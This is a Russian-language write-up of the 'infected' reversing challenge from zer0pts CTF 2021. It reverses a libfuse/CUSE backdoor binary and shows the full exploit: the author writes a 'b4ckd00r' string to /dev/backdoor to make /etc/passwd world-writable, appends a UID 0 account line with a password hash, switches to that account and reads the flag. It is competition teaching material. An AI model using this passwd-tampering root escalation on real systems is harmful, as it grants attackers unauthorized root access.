У недавнего zer0pts CTF 2021 была реверсивная проблема: заражение в реверсивной, разминочной категории. [96 баллов]
На этой машине установлен бэкдор: nc other.ctf.zer0pts.com 11011 или nc any.ctf.zer0pts.com 11011
Как я могу использовать его, чтобы получить флаг в каталоге /root?
автор: ptr-yudai
Давайте попробуем загрузить программу в IDA и посмотрим, что же такое бэкдор. Main просто вызывает register_backdoor, который регистрирует драйвер libfuse в /dev/backdoor.
Он передает структуру cuse_lowlevel_ops с именем devops. Давайте подробнее исследуем эту структуру, чтобы найти функции открытия, чтения и записи.
Мы видим, что в нем есть указатели на определенные функции: backdoor_open, backdoor_write. Backdoor open не делает ничего особенного, давайте посмотрим на backdoor_write:
Мы можем видеть, что он ищет сообщение шаблона:
b4ckd00r:<file>:<perms>
Если шаблон совпадает, он вызовет chmod для файла и установит его с предоставленными нами разрешениями. На данный момент я просмотрел несколько примеров libfuse, и один из них реализует cuse_lowlevel_main: https://github.com/libfuse/libfuse/blob/master/example/cuse.c.
Мы можем скомпилировать этот пример и протестировать его, чтобы увидеть, какие функции запускают вызов записи. Я внес изменения в программу cuse.c и добавил вызовы печати при вызове записи, main и других функциях:
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example# ./cuse -f — name=testfuse Hey main! Flags: 1
Давайте попробуем использовать cuse_client для связи с устройством char в /dev/testfuse.
# echo "hello" | ./cuse_client /dev/testfuse w 5 Writing 5 bytes 5 transferred 5 bytes (0 -> 5) root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example#
Мы можем видеть вывод журнала в tty, который работает ./cuse.
# ./cuse -f — name=testfuse Hey main! Flags: 1 Hey open! IOCTL read/write call (fioc_do_rw) IOCTL read/write call (fioc_do_rw) IOCTL read/write call (fioc_do_rw)
cuse_client взаимодействует с драйвером libfuse с помощью вызовов IOCTL:
В этот момент я на какое-то время застрял и не думал, что мы можем просто передать эхо в символьный драйвер, который реализует запись. Давайте попробуем это:
# echo “writing through echo” > /dev/testfuse
Мы видим, что срабатывают вызовы open и write:
# ./cuse -f — name=testfuse Hey main! Flags: 1 Hey open! IOCTL read/write call (fioc_do_rw) IOCTL read/write call (fioc_do_rw) IOCTL read/write call (fioc_do_rw) Hey open! Hey writing, writing through echo
Идеально! Давайте попробуем отправить эту полезную нагрузку в бэкдор и посмотрим, сможет ли он на самом деле изменить файл с нашими разрешениями. «b4ckd00r:/etc/passwd:511:
/ $ echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor / $ ls -al /etc/passwd ls -al /etc/passwd -rwxrwxrwx 1 root root 340 Mar 4 03:56 /etc/passwd / $
Файл /etc/passwd теперь доступен для записи. (511 — это всего лишь 0777 в десятичном виде). Давайте добавим нового пользователя root для доступа к /root:
/ $ echo "lionaneesh:aajextnUQwGKg:0:0:toor:/root:/bin/sh" >> /etc/passwd / # su lionaneesh Password: igotroot / # cat root/flag* zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
Спасибо за этот удивительный вызов ptr-yudai. Мне очень понравилось узнавать о вредоносном ПО на основе libfuse.